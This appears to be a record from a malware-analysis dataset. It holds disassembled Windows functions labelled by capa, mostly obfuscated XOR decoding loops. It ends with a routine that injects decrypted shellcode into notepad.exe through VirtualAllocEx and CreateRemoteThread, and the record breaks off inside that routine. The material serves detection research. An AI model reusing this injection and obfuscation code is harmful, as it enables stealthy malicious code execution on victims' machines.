joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18003de92
Capabilities:
Encode data using xor

Disassembly:
push rax
pushf
mov eax, 0xf2dbd532
pushf
not eax
add eax, 0x9a5865f9
xor eax, 0xfac1a447
rol eax, 0xdd
popf
pushf
not eax
add eax, 0xe24a9ad5
xor eax, 0xb1b451f4
rol eax, 0xab
popf
pushf
not eax
add eax, 0xc4d560b2
xor eax, 0x8fa7e078
rol eax, 0xc5
popf
cmp eax, 2
jne 0x18003dee2
popf
pop rax
jmp 0x18003dfba
cmp eax, 0
jne 0x18003def1
popf
pop rax
jmp 0x18003df00
cmp eax, 1
jne 0x18003df00
popf
pop rax
jmp 0x18003df9e
lea rax, [rcx + 4]
mov r11d, 0x11615d3c
pushf
not r11d
add r11d, 0xc81a1bb0
xor r11d, 0xf07a4400
rol r11d, 0xfb
popf
pushf
not r11d
add r11d, 0xc2322c10
xor r11d, 0xa6ba8306
rol r11d, 0x8e
popf
pushf
not r11d
add r11d, 0x9cbbffea
xor r11d, 0xf6ed1f98
rol r11d, 0x15
popf
mov r10, rax
push rax
pushf
mov eax, 0xb276fb14
pushf
not eax
add eax, 0xca478d90
xor eax, 0xbbf8f180
rol eax, 0x5d
popf
pushf
not eax
add eax, 0xb1237099
xor eax, 0x9a4ded0d
rol eax, 0x98
popf
pushf
not eax
add eax, 0xec9c5aa1
xor eax, 0x97fa8717
rol eax, 0xa2
popf
jmp 0x18003ded3
movsx r9d, byte [r10]
mov edx, dword [rcx]
movsx r8d, dl
mov edx, r9d
xor edx, r8d
mov byte [r10], dl
inc r10
sub r11, 1
jne 0x18003df9e
mov byte [rcx + 0xc], r11b
ret

Function at 0x180043079
Capabilities:
Encode data using xor

Disassembly:
push rax
pushf
mov eax, 0x40697b07
pushf
not eax
add eax, 0xafec3e24
xor eax, 0xaed49d82
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xf0a04907
xor eax, 0xa81766d7
rol eax, 0x31
popf
pushf
not eax
add eax, 0xdbd66819
xor eax, 0xb5788d2e
rol eax, 0xed
popf
pushf
not eax
add eax, 0xc3539536
xor eax, 0xff1925a9
rol eax, 0xf3
popf
cmp eax, 2
jne 0x1800430dc
popf
pop rax
jmp 0x180043162
cmp eax, 0
jne 0x1800430eb
popf
pop rax
jmp 0x1800430fa
cmp eax, 1
jne 0x1800430fa
popf
pop rax
jmp 0x180043147
xor r9d, r9d
lea rax, [rcx + 4]
push rax
pushf
mov eax, 0x84b99fa9
pushf
not eax
add eax, 0xd135b26d
xor eax, 0x918f5599
rol eax, 0x49
popf
pushf
not eax
add eax, 0xb976c963
xor eax, 0xd9358fa9
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xb8a59808
xor eax, 0xb6e41c54
rol eax, 0x81
popf
jmp 0x1800430cd
movsx edx, byte [rax + r9]
mov r8d, dword [rcx]
add r8b, r9b
xor r8d, edx
mov byte [rax + r9], r8b
inc r9
cmp r9, 0x51
jb 0x180043147
mov byte [rcx + 0x55], 0
ret
Function at 0x180048644
Capabilities:
Encode data using xor

Disassembly:
push rax
pushf
mov eax, 0xf7b0428
pushf
not eax
add eax, 0xecd5a7a0
xor eax, 0xad77c10e
rol eax, 0x44
popf
pushf
not eax
add eax, 0xd4d4b8a1
xor eax, 0xd1fe9109
rol eax, 0x88
popf
cmp eax, 2
jne 0x180048681
popf
pop rax
jmp 0x18004876c
cmp eax, 0
jne 0x180048690
popf
pop rax
jmp 0x18004869f
cmp eax, 1
jne 0x18004869f
popf
pop rax
jmp 0x180048750
lea rax, [rcx + 4]
mov r11d, 0x25f438bb
pushf
not r11d
add r11d, 0xabc6c803
xor r11d, 0xcfcc6072
rol r11d, 0x32
popf
pushf
not r11d
add r11d, 0xfa23e044
xor r11d, 0xb48f8c74
rol r11d, 0x49
popf
pushf
not r11d
add r11d, 0x80c05bdb
xor r11d, 0xfe18e2c7
rol r11d, 0x8c
popf
mov r10, rax
push rax
pushf
mov eax, 0xe6ea06f5
pushf
not eax
add eax, 0xf72be1da
xor eax, 0xc27fb628
rol eax, 0x75
popf
pushf
not eax
add eax, 0xa7804837
xor eax, 0xdc74dbb3
rol eax, 6
popf
pushf
not eax
add eax, 0x96771e18
xor eax, 0xb613f0d8
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xcced2b8b
xor eax, 0xd57e3110
rol eax, 0xef
popf
jmp 0x180048672
movsx r9d, byte [r10]
mov edx, dword [rcx]
movsx r8d, dl
mov edx, r9d
xor edx, r8d
mov byte [r10], dl
inc r10
sub r11, 1
jne 0x180048750
mov byte [rcx + 9], r11b
ret
Function at 0x18004bf52
Capabilities:
Encode data using xor

Disassembly:
push rax
pushf
mov eax, 0xabe2e752
pushf
not eax
add eax, 0x83c9f0a9
xor eax, 0xe1559e57
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xea75ef66
xor eax, 0xe0c05aad
rol eax, 0x78
popf
cmp eax, 2
jne 0x18004bf8f
popf
pop rax
jmp 0x18004c061
cmp eax, 0
jne 0x18004bf9e
popf
pop rax
jmp 0x18004bfad
cmp eax, 1
jne 0x18004bfad
popf
pop rax
jmp 0x18004c045
lea rax, [rcx + 4]
mov r11d, 0x71f3f6ae
pushf
not r11d
add r11d, 0x9795761c
xor r11d, 0xa0c488b9
rol r11d, 0xc
popf
pushf
not r11d
add r11d, 0xd27fbbb8
xor r11d, 0xb3027361
rol r11d, 4
popf
mov r10, rax
push rax
pushf
mov eax, 0x59c46416
pushf
not eax
add eax, 0x8462ffef
xor eax, 0xfea00441
rol eax, 0x84
popf
pushf
not eax
add eax, 0xf35425bb
xor eax, 0x9d293b20
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xf9979b4d
xor eax, 0xab1fe7c8
rol eax, 0x34
popf
pushf
not eax
add eax, 0xc0c5e7a7
xor eax, 0x95558613
rol eax, 0x4b
popf
jmp 0x18004bf80
movsx r9d, byte [r10]
mov edx, dword [rcx]
movsx r8d, dl
mov edx, r9d
xor edx, r8d
mov byte [r10], dl
inc r10
sub r11, 1
jne 0x18004c045
mov byte [rcx + 0x10], r11b
ret

Function at 0x18004cd78
Capabilities:
Encode data using xor

Disassembly:
push rax
pushf
mov eax, 0x96abe4ee
pushf
not eax
add eax, 0xe6c50f4c
xor eax, 0xd1ff5383
rol eax, 0x39
popf
pushf
not eax
add eax, 0xf0b6cbe7
xor eax, 0xa8e75a53
rol eax, 0x5e
popf
pushf
not eax
add eax, 0x997e0232
xor eax, 0x9124b0d2
rol eax, 0x11
popf
pushf
not eax
add eax, 0xf2b402f0
xor eax, 0x9efc3bd7
rol eax, 0x25
popf
cmp eax, 2
jne 0x18004cddb
popf
pop rax
jmp 0x18004ce4e
cmp eax, 0
jne 0x18004cdea
popf
pop rax
jmp 0x18004cdf9
cmp eax, 1
jne 0x18004cdf9
popf
pop rax
jmp 0x18004ce33
xor r9d, r9d
lea rax, [rcx + 4]
push rax
pushf
mov eax, 0x8a471532
pushf
not eax
add eax, 0xcb346123
xor eax, 0xeab6d775
rol eax, 0x39
popf
pushf
not eax
add eax, 0xffedc5d1
xor eax, 0xf4190e97
rol eax, 0xa9
popf
jmp 0x18004cdcc
movsx edx, byte [rax + r9]
mov r8d, dword [rcx]
add r8b, r9b
xor r8d, edx
mov byte [rax + r9], r8b
inc r9
cmp r9, 0xc
jb 0x18004ce33
mov byte [rcx + 0x10], 0
ret
Function at 0x18004f8af
Capabilities:
Encode data using xor

Disassembly:
push rax
pushf
mov eax, 0x7f8f2780
pushf
not eax
add eax, 0xcb90265d
xor eax, 0xb1a9ab6f
rol eax, 0x7b
popf
pushf
not eax
add eax, 0x8293ed16
xor eax, 0xe2a6a268
rol eax, 0xaf
popf
cmp eax, 2
jne 0x18004f8ec
popf
pop rax
jmp 0x18004f95f
cmp eax, 0
jne 0x18004f8fb
popf
pop rax
jmp 0x18004f90a
cmp eax, 1
jne 0x18004f90a
popf
pop rax
jmp 0x18004f944
xor r9d, r9d
lea rax, [rcx + 4]
push rax
pushf
mov eax, 0x8006f717
pushf
not eax
add eax, 0xbb61dc7c
xor eax, 0x83976ca0
rol eax, 0x10
popf
pushf
not eax
add eax, 0x842edadc
xor eax, 0xfa6b220e
rol eax, 0x10
popf
jmp 0x18004f8dd
movsx edx, byte [rax + r9]
mov r8d, dword [rcx]
add r8b, r9b
xor r8d, edx
mov byte [rax + r9], r8b
inc r9
cmp r9, 0x7b
jb 0x18004f944
mov byte [rcx + 0x7f], 0
ret

Function at 0x180051678
Capabilities:
Encode data using xor

Disassembly:
push rax
pushf
mov eax, 0x6daec233
pushf
not eax
add eax, 0xd14402aa
xor eax, 0x8370d4c2
rol eax, 0x67
popf
pushf
not eax
add eax, 0xf3e8d144
xor eax, 0x811e76d3
rol eax, 2
popf
cmp eax, 2
jne 0x1800516b5
popf
pop rax
jmp 0x180051774
cmp eax, 0
jne 0x1800516c4
popf
pop rax
jmp 0x1800516d3
cmp eax, 1
jne 0x1800516d3
popf
pop rax
jmp 0x180051758
lea rax, [rcx + 4]
mov r11d, 0xb36a049e
pushf
not r11d
add r11d, 0xda118b23
xor r11d, 0x836e678d
rol r11d, 0x30
popf
pushf
not r11d
add r11d, 0x8e0528b1
xor r11d, 0xa17b82e7
rol r11d, 0xc9
popf
mov r10, rax
push rax
pushf
mov eax, 0xbdcbc7b5
pushf
not eax
add eax, 0xfa0ab41c
xor eax, 0xf71c166d
rol eax, 9
popf
pushf
not eax
add eax, 0xc71d63a3
xor eax, 0xb668a9fa
rol eax, 0xd1
popf
pushf
not eax
add eax, 0x8acb937b
xor eax, 0xbedf2cf7
rol eax, 0xb5
popf
jmp 0x1800516a6
movsx r9d, byte [r10]
mov edx, dword [rcx]
movsx r8d, dl
mov edx, r9d
xor edx, r8d
mov byte [r10], dl
inc r10
sub r11, 1
jne 0x180051758
mov byte [rcx + 0x1f], r11b
ret

Function at 0x1800559fd
Capabilities:
Encode data using xor

Disassembly:
push rax
pushf
mov eax, 0x117d615f
pushf
not eax
add eax, 0xaf3954d5
xor eax, 0xb93cdb6a
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xe548566b
xor eax, 0x9e8362a4
rol eax, 0x58
popf
pushf
not eax
add eax, 0xcc86b91b
xor eax, 0xe813ed5b
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xf16e4aa2
xor eax, 0xe8f499b2
rol eax, 0x1a
popf
cmp eax, 2
jne 0x180055a60
popf
pop rax
jmp 0x180055af9
cmp eax, 0
jne 0x180055a6f
popf
pop rax
jmp 0x180055a7e
cmp eax, 1
jne 0x180055a7e
popf
pop rax
jmp 0x180055ade
xor r9d, r9d
lea rax, [rcx + 4]
push rax
pushf
mov eax, 0xe3bcef0e
pushf
not eax
add eax, 0xf3b68543
xor eax, 0xe2289c0d
rol eax, 0x6a
popf
pushf
not eax
add eax, 0xe4f30d65
xor eax, 0xc4cc1c04
rol eax, 0x20
popf
pushf
not eax
add eax, 0x97e9c4c9
xor eax, 0x88da58d8
rol eax, 0x1d
popf
pushf
not eax
add eax, 0x95f08752
xor eax, 0x9e895cd9
rol eax, 0x54
popf
jmp 0x180055a51
movsx edx, byte [rax + r9]
mov r8d, dword [rcx]
add r8b, r9b
xor r8d, edx
mov byte [rax + r9], r8b
inc r9
cmp r9, 0x13
jb 0x180055ade
mov byte [rcx + 0x17], 0
ret
Function at 0x180056261
Capabilities:
Encode data using xor

Disassembly:
push rax
pushf
mov eax, 0x94995077
pushf
not eax
add eax, 0xeeb48289
xor eax, 0xab172425
rol eax, 0x10
popf
pushf
not eax
add eax, 0xeecd65db
xor eax, 0xd89874ce
rol eax, 0x59
popf
cmp eax, 2
jne 0x18005629e
popf
pop rax
jmp 0x180056324
cmp eax, 0
jne 0x1800562ad
popf
pop rax
jmp 0x1800562bc
cmp eax, 1
jne 0x1800562bc
popf
pop rax
jmp 0x180056309
xor r9d, r9d
lea rax, [rcx + 4]
push rax
pushf
mov eax, 0x9d90ee21
pushf
not eax
add eax, 0xc41f7fa4
xor eax, 0x9d26437f
rol eax, 0xc3
popf
pushf
not eax
add eax, 0x8cc79952
xor eax, 0xc0fd8976
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xd756a354
xor eax, 0xc0e726cb
rol eax, 0xc6
popf
jmp 0x18005628f
movsx edx, byte [rax + r9]
mov r8d, dword [rcx]
add r8b, r9b
xor r8d, edx
mov byte [rax + r9], r8b
inc r9
cmp r9, 0xa
jb 0x180056309
mov byte [rcx + 0xe], 0
ret

Function at 0x180057cb4
Capabilities:
Encode data using xor

Disassembly:
push rax
pushf
mov eax, 0xe3658b55
pushf
not eax
add eax, 0x841c3ce7
xor eax, 0xd4ab56f6
rol eax, 0x29
popf
pushf
not eax
add eax, 0xe5b88ab2
xor eax, 0xf90bf50e
rol eax, 0x23
popf
pushf
not eax
add eax, 0x863d56d1
xor eax, 0xff2ae096
rol eax, 0x84
popf
cmp eax, 2
jne 0x180057d04
popf
pop rax
jmp 0x180057e08
cmp eax, 0
jne 0x180057d13
popf
pop rax
jmp 0x180057d22
cmp eax, 1
jne 0x180057d22
popf
pop rax
jmp 0x180057dec
lea rax, [rcx + 4]
mov r11d, 0x1fe15217
pushf
not r11d
add r11d, 0xa5ae0c24
xor r11d, 0xe66b7c3c
rol r11d, 0xd2
popf
pushf
not r11d
add r11d, 0xa4859f58
xor r11d, 0xe43f8f22
rol r11d, 0x47
popf
pushf
not r11d
add r11d, 0xd61b509d
xor r11d, 0xbeaa9c3b
rol r11d, 0x9c
popf
pushf
not r11d
add r11d, 0xe42e3b2e
xor r11d, 0xf5802938
rol r11d, 0x2a
popf
mov r10, rax
push rax
pushf
mov eax, 0x41ef3191
pushf
not eax
add eax, 0xc31cd50b
xor eax, 0xe53bcd45
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xb91e6302
xor eax, 0x9c7efedd
rol eax, 0x8e
popf
pushf
not eax
add eax, 0x9a2ca694
xor eax, 0xbec9ad0d
rol eax, 0xdb
popf
pushf
not eax
add eax, 0xe8edaae8
xor eax, 0xd6243098
rol eax, 0x8a
popf
jmp 0x180057cf5
movsx r9d, byte [r10]
mov edx, dword [rcx]
movsx r8d, dl
mov edx, r9d
xor edx, r8d
mov byte [r10], dl
inc r10
sub r11, 1
jne 0x180057dec
mov byte [rcx + 0x25], r11b
ret

Function at 0x180058d58
Capabilities:
Encode data using xor

Disassembly:
push rax
pushf
mov eax, 0xebb76f02
pushf
not eax
add eax, 0x92a6492a
xor eax, 0xc973c4e2
rol eax, 0x37
popf
pushf
not eax
add eax, 0xbd970eb7
xor eax, 0xa8f97364
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xc4f3d209
xor eax, 0xf3f7487c
rol eax, 0xe
popf
cmp eax, 2
jne 0x180058da8
popf
pop rax
jmp 0x180058e1b
cmp eax, 0
jne 0x180058db7
popf
pop rax
jmp 0x180058dc6
cmp eax, 1
jne 0x180058dc6
popf
pop rax
jmp 0x180058e00
xor r9d, r9d
lea rax, [rcx + 4]
push rax
pushf
mov eax, 0x41272cac
pushf
not eax
add eax, 0xa4d4cdbf
xor eax, 0x818ad7fe
rol eax, 0xab
popf
pushf
not eax
add eax, 0xd8641d79
xor eax, 0x9cacb627
rol eax, 0xfa
popf
jmp 0x180058d99
movsx edx, byte [rax + r9]
mov r8d, dword [rcx]
add r8b, r9b
xor r8d, edx
mov byte [rax + r9], r8b
inc r9
cmp r9, 0x30
jb 0x180058e00
mov byte [rcx + 0x34], 0
ret
Function at 0x18006213f
Capabilities:
Encode data using xor

Disassembly:
push rax
pushf
mov eax, 0xd6029ec7
pushf
not eax
add eax, 0xca24d939
xor eax, 0xcd8c318e
rol eax, 0x72
popf
pushf
not eax
add eax, 0xa2e8d4ad
xor eax, 0xeaa32fe4
rol eax, 0x7e
popf
pushf
not eax
add eax, 0x9d397e33
xor eax, 0x9cf7670e
rol eax, 0xbb
popf
pushf
not eax
add eax, 0xbee26ffa
xor eax, 0xb783eea4
rol eax, 0x37
popf
cmp eax, 2
jne 0x1800621a2
popf
pop rax
jmp 0x18006228d
cmp eax, 0
jne 0x1800621b1
popf
pop rax
jmp 0x1800621c0
cmp eax, 1
jne 0x1800621c0
popf
pop rax
jmp 0x180062271
lea rax, [rcx + 4]
mov r11d, 0x3493b85c
pushf
not r11d
add r11d, 0xa7fc3a86
xor r11d, 0xa2d7910e
rol r11d, 0x36
popf
pushf
not r11d
add r11d, 0xe21018b4
xor r11d, 0x875490d2
rol r11d, 0x3a
popf
pushf
not r11d
add r11d, 0xac2d0503
xor r11d, 0xb5afd422
rol r11d, 0xb6
popf
mov r10, rax
push rax
pushf
mov eax, 0xfbfc87cf
pushf
not eax
add eax, 0xb21c5b8c
xor eax, 0xf887a3d6
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xf1530ae4
xor eax, 0xb71503bb
rol eax, 0x54
popf
pushf
not eax
add eax, 0xf49edf93
xor eax, 0xfe20103f
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xab33641e
xor eax, 0xd269eafc
rol eax, 0xf6
popf
jmp 0x180062193
movsx r9d, byte [r10]
mov edx, dword [rcx]
movsx r8d, dl
mov edx, r9d
xor edx, r8d
mov byte [r10], dl
inc r10
sub r11, 1
jne 0x180062271
mov byte [rcx + 0xb], r11b
ret

Function at 0x180062292
Capabilities:
Encode data using xor

Disassembly:
push rax
pushf
mov eax, 0x4e217b7d
pushf
not eax
add eax, 0xd73b5734
xor eax, 0x82e008e8
rol eax, 0x9b
popf
pushf
not eax
add eax, 0xc3a509ee
xor eax, 0xd3453b53
rol eax, 0x6d
popf
cmp eax, 2
jne 0x1800622cf
popf
pop rax
jmp 0x1800623a7
cmp eax, 0
jne 0x1800622de
popf
pop rax
jmp 0x1800622ed
cmp eax, 1
jne 0x1800622ed
popf
pop rax
jmp 0x18006238b
lea rax, [rcx + 4]
mov r11d, 0x722339d8
pushf
not r11d
add r11d, 0xfa8143eb
xor r11d, 0xf981bcb1
rol r11d, 0x86
popf
pushf
not r11d
add r11d, 0xf283aee8
xor r11d, 0xdfd7a013
rol r11d, 0xb0
popf
pushf
not r11d
add r11d, 0x8d89d751
xor r11d, 0xe7704a0f
rol r11d, 0x75
popf
mov r10, rax
push rax
pushf
mov eax, 0xc88ea55c
pushf
not eax
add eax, 0xc29d64fe
xor eax, 0xf842f3b6
rol eax, 6
popf
pushf
not eax
add eax, 0xdfaee1ec
xor eax, 0xd888a18b
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xf6264ec5
xor eax, 0xb4fe07c9
rol eax, 0x33
popf
jmp 0x1800622c0
movsx r9d, byte [r10]
mov edx, dword [rcx]
movsx r8d, dl
mov edx, r9d
xor edx, r8d
mov byte [r10], dl
inc r10
sub r11, 1
jne 0x18006238b
mov byte [rcx + 0x33], r11b
ret
Function at 0x18006b343
Capabilities:
Encode data using xor

Disassembly:
push rax
pushf
mov eax, 0x9f074e07
pushf
not eax
add eax, 0x9247dc3a
xor eax, 0xc09de19d
rol eax, 0xdc
popf
pushf
not eax
add eax, 0x8742327c
xor eax, 0x94045b81
rol eax, 0x12
popf
cmp eax, 2
jne 0x18006b380
popf
pop rax
jmp 0x18006b484
cmp eax, 0
jne 0x18006b38f
popf
pop rax
jmp 0x18006b39e
cmp eax, 1
jne 0x18006b39e
popf
pop rax
jmp 0x18006b468
lea rax, [rcx + 4]
mov r11d, 0xe2f67b96
pushf
not r11d
add r11d, 0xa34c2e1b
xor r11d, 0xb2ea78b5
rol r11d, 0x7e
popf
pushf
not r11d
add r11d, 0x9f939a8a
xor r11d, 0x96ba2999
rol r11d, 0xcc
popf
pushf
not r11d
add r11d, 0xe2bfe8ea
xor r11d, 0xbf722d80
rol r11d, 0xb2
popf
pushf
not r11d
add r11d, 0xad243b54
xor r11d, 0xd490a0a5
rol r11d, 0x12
popf
mov r10, rax
push rax
pushf
mov eax, 0x4fef372e
pushf
not eax
add eax, 0xaa2e5a6b
xor eax, 0xbea0361b
rol eax, 0x3e
popf
pushf
not eax
add eax, 0xcda16e47
xor eax, 0xa2767d75
rol eax, 0xed
popf
pushf
not eax
add eax, 0xa561b36c
xor eax, 0x92c270ef
rol eax, 0x66
popf
pushf
not eax
add eax, 0xa908b366
xor eax, 0x8c538217
rol eax, 0x13
popf
jmp 0x18006b371
movsx r9d, byte [r10]
mov edx, dword [rcx]
movsx r8d, dl
mov edx, r9d
xor edx, r8d
mov byte [r10], dl
inc r10
sub r11, 1
jne 0x18006b468
mov byte [rcx + 7], r11b
ret

Function at 0x18006b489
Capabilities:
Encode data using xor

Disassembly:
push rax
pushf
mov eax, 0xf60a1dd8
pushf
not eax
add eax, 0xd57f4488
xor eax, 0x8363e2bb
rol eax, 0x94
popf
pushf
not eax
add eax, 0xc567a2ee
xor eax, 0x8421e181
rol eax, 0xc7
popf
cmp eax, 2
jne 0x18006b4c6
popf
pop rax
jmp 0x18006b55f
cmp eax, 0
jne 0x18006b4d5
popf
pop rax
jmp 0x18006b4e4
cmp eax, 1
jne 0x18006b4e4
popf
pop rax
jmp 0x18006b544
xor r9d, r9d
lea rax, [rcx + 4]
push rax
pushf
mov eax, 0x37efc7da
pushf
not eax
add eax, 0xd563d877
xor eax, 0x866b32ce
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xc0db9bae
xor eax, 0xf78823a1
rol eax, 0x39
popf
pushf
not eax
add eax, 0xf0d181d4
xor eax, 0xf4504391
rol eax, 0x9e
popf
pushf
not eax
add eax, 0x8dc47f3c
xor eax, 0xe8d21e23
rol eax, 0xcb
popf
jmp 0x18006b4b7
movsx edx, byte [rax + r9]
mov r8d, dword [rcx]
add r8b, r9b
xor r8d, edx
mov byte [rax + r9], r8b
inc r9
cmp r9, 0x29
jb 0x18006b544
mov byte [rcx + 0x2d], 0
ret
Function at 0x18006cf09
Capabilities:
Encode data using xor

Disassembly:
push rax
pushf
mov eax, 0xe714a9c9
pushf
not eax
add eax, 0xadd53d28
xor eax, 0xc1a3ee6c
rol eax, 0x39
popf
pushf
not eax
add eax, 0x9f7158c7
xor eax, 0xde4ff203
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xfc188c6e
xor eax, 0xfea9dc22
rol eax, 0x68
popf
pushf
not eax
add eax, 0xeadb319b
xor eax, 0xa7e674b2
rol eax, 0x5a
popf
cmp eax, 2
jne 0x18006cf6c
popf
pop rax
jmp 0x18006d018
cmp eax, 0
jne 0x18006cf7b
popf
pop rax
jmp 0x18006cf8a
cmp eax, 1
jne 0x18006cf8a
popf
pop rax
jmp 0x18006cffc
lea rax, [rcx + 4]
mov r11d, 0x3f2ec691
pushf
not r11d
add r11d, 0xd00b8319
xor r11d, 0xe6d7a270
rol r11d, 0xb0
popf
pushf
not r11d
add r11d, 0xf33f8b56
xor r11d, 0xc0c8154a
rol r11d, 0x89
popf
mov r10, rax
push rax
pushf
mov eax, 0x47abb978
pushf
not eax
add eax, 0xf834dd89
xor eax, 0x9314316a
rol eax, 0x15
popf
pushf
not eax
add eax, 0x9e510c6c
xor eax, 0xef0c98e9
rol eax, 0xfb
popf
jmp 0x18006cf5d
movsx r9d, byte [r10]
mov edx, dword [rcx]
movsx r8d, dl
mov edx, r9d
xor edx, r8d
mov byte [r10], dl
inc r10
sub r11, 1
jne 0x18006cffc
mov byte [rcx + 0x2d], r11b
ret

Function at 0x18006fd94
Capabilities:
Encode data using xor

Disassembly:
push rax
pushf
mov eax, 0xde5754f1
pushf
not eax
add eax, 0x9421e51c
xor eax, 0x9aa0873b
rol eax, 0x99
popf
pushf
not eax
add eax, 0xe835b99c
xor eax, 0xc5d6e56d
rol eax, 0x6a
popf
cmp eax, 2
jne 0x18006fdd1
popf
pop rax
jmp 0x18006fe57
cmp eax, 0
jne 0x18006fde0
popf
pop rax
jmp 0x18006fdef
cmp eax, 1
jne 0x18006fdef
popf
pop rax
jmp 0x18006fe3c
xor r9d, r9d
lea rax, [rcx + 4]
push rax
pushf
mov eax, 0xbfdd132a
pushf
not eax
add eax, 0x808d05db
xor eax, 0xa84ab16b
rol eax, 0x9e
popf
pushf
not eax
add eax, 0xe9a0e8b2
xor eax, 0xac285783
rol eax, 0x88
popf
pushf
not eax
add eax, 0xdc6150eb
xor eax, 0x8ca11047
rol eax, 0x35
popf
jmp 0x18006fdc2
movsx edx, byte [rax + r9]
mov r8d, dword [rcx]
add r8b, r9b
xor r8d, edx
mov byte [rax + r9], r8b
inc r9
cmp r9, 0x2f
jb 0x18006fe3c
mov byte [rcx + 0x33], 0
ret
Function at 0x140001730
Capabilities:
Enumerate processes

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x268
mov rdi, rcx
mov rax, qword [0x1400050c0]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov dword [rsp + 0x28], 0x238
xor esi, esi
mov ecx, 2
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
cmp rax, 0xffffffffffffffff
je 0x140001880
mov rbx, rax
lea rdx, [rsp + 0x28]
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
lea r14, [rsp + 0x54]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcslen]
mov rcx, qword [rdi + 0x10]
cmp rax, rcx
mov rdx, rcx
cmovb rdx, rax
test rdx, rdx
je 0x1400017d5
cmp qword [rdi + 0x18], 8
mov r8, rdi
jb 0x1400017af
mov r8, qword [rdi]
xor r9d, r9d
nop word cs:[rax + rax]
movzx r10d, word [r8 + r9*2]
cmp r10w, word [rsp + r9*2 + 0x54]
jne 0x140001804
inc r9
cmp rdx, r9
jne 0x1400017c0
cmp rax, rcx
jne 0x140001804
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [rsp + 0x30]
jmp 0x140001880
xor edx, edx
cmp rax, rcx
setb dl
mov eax, 0xffffffff
cmovbe eax, edx
test eax, eax
je 0x1400017da
lea rdx, [rsp + 0x28]
mov rcx, rbx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
je 0x140001877
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcslen]
mov rcx, qword [rdi + 0x10]
cmp rax, rcx
mov rdx, rcx
cmovb rdx, rax
test rdx, rdx
je 0x1400017f0
cmp qword [rdi + 0x18], 8
mov r8, rdi
jb 0x14000183e
mov r8, qword [rdi]
xor r9d, r9d
nop word cs:[rax + rax]
movzx r10d, word [r8 + r9*2]
cmp r10w, word [rsp + r9*2 + 0x54]
jne 0x140001870
inc r9
cmp rdx, r9
jne 0x140001850
jmp 0x1400017f0
mov eax, 1
jmp 0x140001800
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140001f50
mov eax, esi
add rsp, 0x268
pop rbx
pop rdi
pop rsi
pop r14
ret
Function at 0x1400018a0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0xb8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x30], 0xfffffffffffffffe
mov ecx, 0x973
call fcn.140001ec4
mov rsi, rax
mov qword [rbp - 0x20], rax
lea rdi, [rax + 0x973]
mov qword [rbp - 0x10], rdi
lea rdx, section..rdata
mov r8d, 0x973
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp - 0x18], rdi
mov qword [rbp], 0
mov ecx, 0x20
call fcn.140001ec4
mov qword [rbp - 8], rax
mov qword [rbp + 8], 0x10
mov qword [rbp + 0x10], 0x1f
movups xmm0, xmmword [str.secret_key123123]
movups xmmword [rax], xmm0
mov byte [rax + 0x10], 0
lea rcx, [rbp + 0x18]
lea rdx, [rbp - 0x20]
lea r8, [rbp - 8]
call fcn.140001060
mov qword [rbp - 0x38], 0
mov ecx, 0x20
call fcn.140001ec4
mov rdi, rax
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x30], 0xb
mov qword [rbp - 0x28], 0xf
movups xmm0, xmmword [str.notepad.exe]
movups xmmword [rax], xmm0
movabs rax, 0x6500780065002e
mov qword [rdi + 0xe], rax
mov word [rdi + 0x16], 0
lea rcx, [rbp - 0x40]
call fcn.140001730
mov ebx, eax
mov edx, 0x20
mov rcx, rdi
call fcn.140001f08
mov ecx, 0x1fffff
xor edx, edx
mov r8d, ebx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
mov r8, qword [rbp + 0x20]
sub r8, qword [rbp + 0x18]
mov dword [rsp + 0x20], 0x40
mov rcx, rax
xor edx, edx
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
mov r8, qword [rbp + 0x18]
mov r9, qword [rbp + 0x20]
sub r9, r8
mov qword [rsp + 0x20], 0
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rdi
xor edx, edx
xor r8d, r8d
mov r9, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x18]
test rcx, rcx
je 0x140001a55
mov rdx, qword [rbp + 0x28]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x140001a50
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x140001aab
add rdx, 0x27
mov rcx, rax
call fcn.140001f08
mov rax, qword [rbp + 0x10]
cmp rax, 0x10
jb 0x140001a90
mov rcx, qword [rbp - 8]
lea rdx, [rax + 1]
